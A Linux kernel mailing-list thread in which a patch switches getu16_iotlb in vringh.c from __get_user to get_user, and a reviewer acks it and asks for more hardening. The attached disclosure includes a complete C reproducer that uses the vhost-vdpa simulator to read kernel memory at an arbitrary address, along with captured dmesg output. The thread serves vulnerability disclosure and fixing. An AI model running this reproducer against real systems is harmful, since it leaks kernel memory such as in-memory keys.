On Fri, Oct 16, 2026 at 1:10 PM Eugenio Perez Martin
<[email protected]> wrote:
>
> On Thu, Oct 15, 2026 at 11:30 AM Haoran Wang <[email protected]> wrote:
> >
> > From c165d81ad210155e0ac8eff7a571d9e525c00113 Mon Sep 17 00:00:00 2001
> > From: Haoran Wang <[email protected]>
> > Date: Thu, 15 Oct 2026 16:59:32 +0800
> > Subject: [PATCH] vringh: validate user address in the IOTLB use_va read
> > helper
> >
> > getu16_iotlb() reads a 2-byte value from the address returned by
> > iotlb_translate() using __get_user(), which skips access_ok().
> > iotlb_translate() only performs an IOTLB interval lookup and does not
> > validate the address as a user pointer. In the vhost-vdpa + vdpa_sim
> > use_va path, vdpa_sim's default passthrough IOTLB identity-maps the
> > whole address space and vdpasim_set_vq_address() stores the
> > controller-supplied vring address verbatim, so a controller with
> > CAP_NET_ADMIN can point the vring avail_user_addr at a kernel address.
> > On a vq kick the worker then dereferences that kernel address via
> > __get_user(), leaking 2 bytes of kernel memory per read; the value is
> > disclosed to dmesg by vringh_bad().
> >
> > get_user() is access_ok() + __get_user(), use it instead so a kernel
> > address is rejected with -EFAULT rather than dereferenced.
> >
> >
> > Signed-off-by: Haoran Wang <[email protected]>
>
> Acked-by: Eugenio Pérez <[email protected]>
>
Sorry, I forgot: It misses a Fixes: tag.
> > ---
> >
> > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > against the 7.2.10 source tree. I have reproduced the leak on an
> > unmodified 7.2.10 kernel.
> >
> > 1. Summary
> > getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> > without an access_ok() check. iov_base originates from iotlb_translate(),
> > which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> > does not call access_ok(). In the vdpa_sim default passthrough mode the
> > entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> > vdpasim_set_vq_address() stores the controller-supplied vring address
> > verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> > set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> > worker reads 2 bytes from that kernel address via __get_user (no
> > access_ok). Each vring iteration reads 2 bytes and the value is
> > repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> > would have rejected a kernel address via access_ok(), while__get_user() does
> > not.
> >
> > 2. Vulnerable code
> > - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> > - Function: getu16_iotlb
> > - Misused API: __get_user
> >
> > ```c
> > /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring
> > iteration) */
> > if (vrh->use_va) {
> > ret = __get_user(tmp, (__virtio16 __user
> > *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> > }
> >
> > /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok)
> > */
> > /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps
> > everything */
> > vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> > /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no
> > validation */
> > vq->desc_addr = desc_area; /* controller-controlled = kernel address */
> > ```
> >
> > 3. Root cause
> > get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> > (it expands to __get_user_nocheck, which performs no check_range, whereas
> > get_user/put_user expand to the check_range-bearing variants that reject
> > kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> > addresses supplied by the controller (driver_addr/desc_addr) flow through
> > iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> > lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> > address space, so any address passes the lookup. vdpasim_set_vq_address()
> > stores the controller's u64 with no user/kernel validation, and
> > vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> > because vq->private_data is never set. Consequently __get_user
> > dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> > worker runs under kthread_use_mm() in the controller's mm with SMAP
> > disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> > kernel memory are read. With num=1, __vringh_get_head() sees head (the
> > leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> > to dmesg, making the leak externally observable.
> >
> > 4. Affected versions
> > Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10
> > kernel.
> >
> > 5. Trigger / Preconditions
> > CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> > The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> > enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> > avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> > kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
> >
> > 6. Proof of Concept
> > Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y,
> > VHOST_VDPA=y,
> > VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr =
> > &linux_banner
> > and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is
> > printk'd
> > by vringh_bad().
> >
> > Concrete reproduced evidence (7.2.10):
> > - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> > - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
> > (linux_banner[5]=' '(0x20) << 8)
> > - The expected value is independently computable from /proc/version (which
> > prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
> > = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> > - Across 3 boots the banner *address* changed under KASLR
> > (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
> > trigger resolves it at runtime via /proc/kallsyms), while the leaked
> > *content* was 8312 every time. KASLR only randomizes the address, the 2
> > bytes read there are constant.
> >
> > So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> > virtual address by setting a vring avail_user_addr to that address and
> > kicking the vdpa_sim worker. The value is disclosed to dmesg via
> > vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> > 7.2.10 kernel.
> >
> > Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> > (CAP_NET_ADMIN):
> >
> > ```c
> > #define _GNU_SOURCE
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <unistd.h>
> > #include <fcntl.h>
> > #include <errno.h>
> > #include <stdint.h>
> > #include <sys/ioctl.h>
> > #include <sys/socket.h>
> > #include <sys/mman.h>
> > #include <linux/netlink.h>
> > #include <linux/genetlink.h>
> > #include <linux/vhost.h>
> > #include <linux/vdpa.h>
> > #include <sys/eventfd.h>
> >
> > #ifndef VHOST_VDPA
> > #define VHOST_VDPA 0xAF
> > #endif
> >
> > #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> > #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> > #endif
> > #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> > #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> > #endif
> > #ifndef VHOST_BACKEND_F_IOTLB_ASID
> > #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> > #endif
> > #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> > #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> > #endif
> >
> > static inline int nla_ok_(const struct nlattr *nla, int remaining)
> > {
> > return remaining >= (int)sizeof(struct nlattr) &&
> > nla->nla_len >= (int)sizeof(struct nlattr) &&
> > nla->nla_len <= remaining;
> > }
> > static inline struct nlattr *nla_next_(const struct nlattr *nla, int
> > *remaining)
> > {
> > int tot = (int)NLA_ALIGN(nla->nla_len);
> > *remaining -= tot;
> > return (struct nlattr *)((char *)nla + tot);
> > }
> > static inline void *nla_data_(const struct nlattr *nla)
> > {
> > return (char *)nla + NLA_HDRLEN;
> > }
> >
> > #ifndef VDPA_GENL_NAME
> > #define VDPA_GENL_NAME "vdpa"
> > #endif
> > #ifndef VDPA_GENL_VERSION
> > #define VDPA_GENL_VERSION 1
> > #endif
> > #ifndef VDPA_CMD_DEV_NEW
> > #define VDPA_CMD_DEV_NEW 3
> > #endif
> > #ifndef VDPA_CMD_DEV_DEL
> > #define VDPA_CMD_DEV_DEL 4
> > #endif
> > #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> > #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> > #endif
> > #ifndef VDPA_ATTR_DEV_NAME
> > #define VDPA_ATTR_DEV_NAME 4
> > #endif
> >
> > #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n",
> > ##__VA_ARGS__); exit(1); } while (0)
> > #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt "
> > (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
> >
> > static int nlsock;
> > static __u32 nlseq = 0;
> >
> > static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char
> > *s)
> > {
> > struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> > int sl = (int)strlen(s) + 1;
> > int pl = NLA_HDRLEN + sl;
> > int pad = NLA_ALIGN(sl) - sl;
> > if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len)
> > return -1;
> > nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> > nla->nla_len = (__u16)pl;
> > nla->nla_type = (__u16)type;
> > memcpy((char *)nla + NLA_HDRLEN, s, sl);
> > nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> > (void)pad;
> > return 0;
> > }
> >
> > static int genl_resolve_family(const char *name, __u16 *fam_id)
> > {
> > char buf[1024];
> > struct nlmsghdr *nlh = (void *)buf;
> > struct genlmsghdr *gh;
> > memset(buf, 0, sizeof(buf));
> > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> > nlh->nlmsg_type = GENL_ID_CTRL;
> > nlh->nlmsg_flags = NLM_F_REQUEST;
> > nlh->nlmsg_seq = ++nlseq;
> > gh = NLMSG_DATA(nlh);
> > gh->cmd = CTRL_CMD_GETFAMILY;
> > gh->version = 1;
> > nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> > struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> > .msg_iov = &iov, .msg_iovlen = 1 };
> > if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return
> > -1; }
> > char rbuf[4096];
> > struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen =
> > sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> > ssize_t n = recvmsg(nlsock, &rmsg, 0);
> > if (n < 0) { xp("recvmsg getfamily"); return -1; }
> > struct nlmsghdr *r = (void *)rbuf;
> > if (!NLMSG_OK(r, (size_t)n)) return -1;
> > if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e =
> > NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error);
> > return -1; }
> > int hlen = GENL_HDRLEN;
> > struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> > int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> > *fam_id = 0;
> > for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> > if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> > *fam_id = *(__u16 *)nla_data_(na);
> > return 0;
> > }
> > }
> > return -1;
> > }
> >
> > static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> > {
> > char buf[1024];
> > struct nlmsghdr *nlh = (void *)buf;
> > struct genlmsghdr *gh;
> > memset(buf, 0, sizeof(buf));
> > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> > nlh->nlmsg_type = fam;
> > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> > nlh->nlmsg_seq = ++nlseq;
> > gh = NLMSG_DATA(nlh);
> > gh->cmd = VDPA_CMD_DEV_NEW;
> > gh->version = VDPA_GENL_VERSION;
> > if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME,
> > mgmtdev) < 0) return -1;
> > if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0)
> > return -1;
> > struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> > .msg_iov = &iov, .msg_iovlen = 1 };
> > if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return
> > -1; }
> > char rbuf[4096];
> > struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen =
> > sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> > ssize_t n = recvmsg(nlsock, &rmsg, 0);
> > if (n < 0) { xp("recvmsg dev_new"); return -1; }
> > struct nlmsghdr *r = (void *)rbuf;
> > if (!NLMSG_OK(r, (size_t)n)) return -1;
> > if (r->nlmsg_type == NLMSG_ERROR) {
> > struct nlmsgerr *e = NLMSG_DATA(r);
> > if (e->error == 0)
> > return 0;
> > fprintf(stderr, "dev_new error %d (%s)\n", e->error,
> > strerror(-e->error));
> > return -1;
> > }
> > return 0;
> > }
> >
> > static int genl_dev_del(__u16 fam, const char *devname)
> > {
> > char buf[1024];
> > struct nlmsghdr *nlh = (void *)buf;
> > struct genlmsghdr *gh;
> > memset(buf, 0, sizeof(buf));
> > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> > nlh->nlmsg_type = fam;
> > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> > nlh->nlmsg_seq = ++nlseq;
> > gh = NLMSG_DATA(nlh);
> > gh->cmd = VDPA_CMD_DEV_DEL;
> > gh->version = VDPA_GENL_VERSION;
> > nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> > struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> > .msg_iov = &iov, .msg_iovlen = 1 };
> > sendmsg(nlsock, &msg, 0);
> > char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len =
> > sizeof(rbuf) };
> > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen =
> > sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> > recvmsg(nlsock, &rmsg, 0);
> > return 0;
> > }
> >
> > static unsigned long ksym(const char *want)
> > {
> > FILE *f = fopen("/proc/kallsyms", "r");
> > if (!f) return 0;
> > char line[512];
> > unsigned long a = 0;
> > while (fgets(line, sizeof(line), f)) {
> > char type; char name[256];
> > if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> > if (strcmp(name, want) == 0) { fclose(f); return a;
> > }
> > }
> > }
> > fclose(f);
> > return 0;
> > }
> >
> > static int expected_leak(unsigned *out)
> > {
> > FILE *f = fopen("/proc/version", "r");
> > if (!f) return -1;
> > char v[256];
> > if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> > fclose(f);
> > int len = (int)strlen(v);
> > if (len < 6) return -1;
> > unsigned m = ((unsigned)(unsigned char)v[4]) |
> > (((unsigned)(unsigned char)v[5]) << 8);
> > *out = m;
> > fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x =>
> > expected leak M = 0x%04x (%u)\n",
> > (unsigned char)v[4], (unsigned char)v[5], m, m);
> > fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> > return 0;
> > }
> >
> > int main(int argc, char **argv)
> > {
> > unsigned exp;
> > if (expected_leak(&exp)) die("cannot read /proc/version");
> > unsigned long banner = ksym("linux_banner");
> > fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> > if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
> >
> > nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> > if (nlsock < 0) die("netlink socket");
> > struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> > if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
> > die("netlink bind");
> > __u16 fam;
> > if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl
> > family 'vdpa' (CONFIG_VDPA?)");
> > fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> > if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new
> > vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
> > fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
> >
> > char path[64]; int vfd = -1;
> > for (int i = 0; i < 50; i++) {
> > snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> > vfd = open(path, O_RDWR | O_CLOEXEC);
> > if (vfd >= 0) break;
> > }
> > if (vfd < 0) die("open /dev/vhost-vdpa-*");
> > fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
> >
> > int callfd = eventfd(0, EFD_CLOEXEC);
> > int kickfd = eventfd(0, EFD_CLOEXEC);
> > if (callfd < 0 || kickfd < 0) die("eventfd");
> >
> > if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
> >
> > __u64 bf = 0;
> > if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf))
> > xp("get_backend_features");
> > __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> > | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> > | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> > | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> > if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf))
> > xp("set_backend_features");
> >
> > __u64 feat = 0;
> > if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
> > __u64 ack = 0;
> > ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> > ack |= (1ULL << VIRTIO_F_VERSION_1);
> > ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> > ack &= feat;
> > if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM)))
> > die("ACCESS_PLATFORM not supported - no use_va?");
> > if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need
> > ACCESS_PLATFORM)");
> >
> > struct vhost_vring_state vs = { .index = 0, .num = 1 };
> > if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
> >
> > size_t pg = 4096;
> > void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE,
> > MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> > void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE,
> > MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> > if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> > memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
> >
> > struct vhost_vring_addr va = {0};
> > va.index = 0;
> > va.flags = 0;
> > va.desc_user_addr = (uintptr_t)descbuf;
> > va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address,
> > the leak source */
> > va.used_user_addr = (uintptr_t)usedbuf;
> > va.log_guest_addr = 0;
> > if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr
> > (avail=kernel addr rejected?)");
> >
> > struct vhost_vring_state base = { .index = 0, .num = 0 };
> > if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
> >
> > struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> > if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> > struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> > if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
> >
> > struct vhost_vring_state en = { .index = 0, .num = 1 };
> > if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en))
> > die("set_vring_enable");
> >
> > __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> > | VIRTIO_CONFIG_S_FEATURES_OK |
> > VIRTIO_CONFIG_S_DRIVER_OK;
> > if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status
> > DRIVER_OK");
> >
> > uint64_t one = 1;
> > if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick
> > write");
> >
> > unsigned leaked = 0; int found = 0;
> > for (int try = 0; try < 20 && !found; try++) {
> > usleep(100000);
> > FILE *d = popen("dmesg 2>/dev/null", "r");
> > if (d) {
> > char l[512];
> > while (fgets(l, sizeof(l), d)) {
> > char *p = strstr(l, "Guest says index");
> > if (p) {
> > unsigned idx = 0, numv = 0;
> > if (sscanf(p, "Guest says index %u
> > > %u is available",
> > &idx, &numv) >= 1) {
> > leaked = idx; found = 1;
> > fprintf(stderr, "[!!]
> > dmesg: %s", l);
> > break;
> > }
> > }
> > }
> > pclose(d);
> > }
> > }
> >
> > if (!found) {
> > fprintf(stderr, "[!] no vringh_bad leak line in dmesg;
> > dumping tail:\n");
> > FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> > if (d) { char l[512]; while (fgets(l, sizeof(l), d))
> > fputs(l, stderr); pclose(d); }
> > die("leak not observed (worker may not have run, or
> > use_va/mm_bound not set)");
> > }
> >
> > fprintf(stderr, "\n=== RESULT ===\n");
> > fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x
> > (%u)\n", leaked, leaked);
> > fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x
> > (%u)\n", exp, exp);
> > if (leaked == exp) {
> > fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel
> > addr 0x%lx via vringh.c:1216\n", banner + 4);
> > fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte
> > read (no access_ok) on unmodified kernel\n");
> > } else {
> > fprintf(stderr, "MISMATCH - investigate\n");
> > }
> >
> > status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> > close(vfd); close(callfd); close(kickfd);
> > genl_dev_del(fam, "sim0");
> > return (leaked == exp) ? 0 : 2;
> > }
> > ```
> >
> > Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> > ```
> > [ 1.882938] vringh:
> > [ 1.882944] Guest says index 8312 > 1 is available
> > ```
> >
> > 7. Impact
> > Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> > read 2 bytes at an arbitrary kernel virtual address per vring kick via
> > __get_user() with no access_ok(), and the value is disclosed to dmesg via
> > vringh_bad(). The read is repeatable, so the whole kernel address space
> > can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> > in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> > reads. No memory corruption. KASLR does not prevent it (only the address
> > is randomized, the leaked content is constant). Only the use_va mode is
> > affected (the non-use_va path goes through GUP, which has an equivalent
> > check_range guard).
> >
> > Please let me know if you need more detail.
> > ---
> > drivers/vhost/vringh.c | 2 +-
> > 1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f..b441243 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh
> > *vrh,
> > return ret;
> >
> > if (vrh->use_va) {
> > - ret = __get_user(tmp, (__virtio16 __user
> > *)ivec.iov.iovec[0].iov_base);
> > + ret = get_user(tmp, (__virtio16 __user
> > *)ivec.iov.iovec[0].iov_base);
>
> I see two other places to harden:
> * __put_user present in putu16_iotlb
> * The callers of vhost_iotlb_add_range if vringh->use_va (adding access_ok).
>
> Can you send a patch for these two?
>
> Thanks!
>
>
> > if (ret)
> > return ret;
> > } else {
> > --
> > 2.43.0
> >
> >
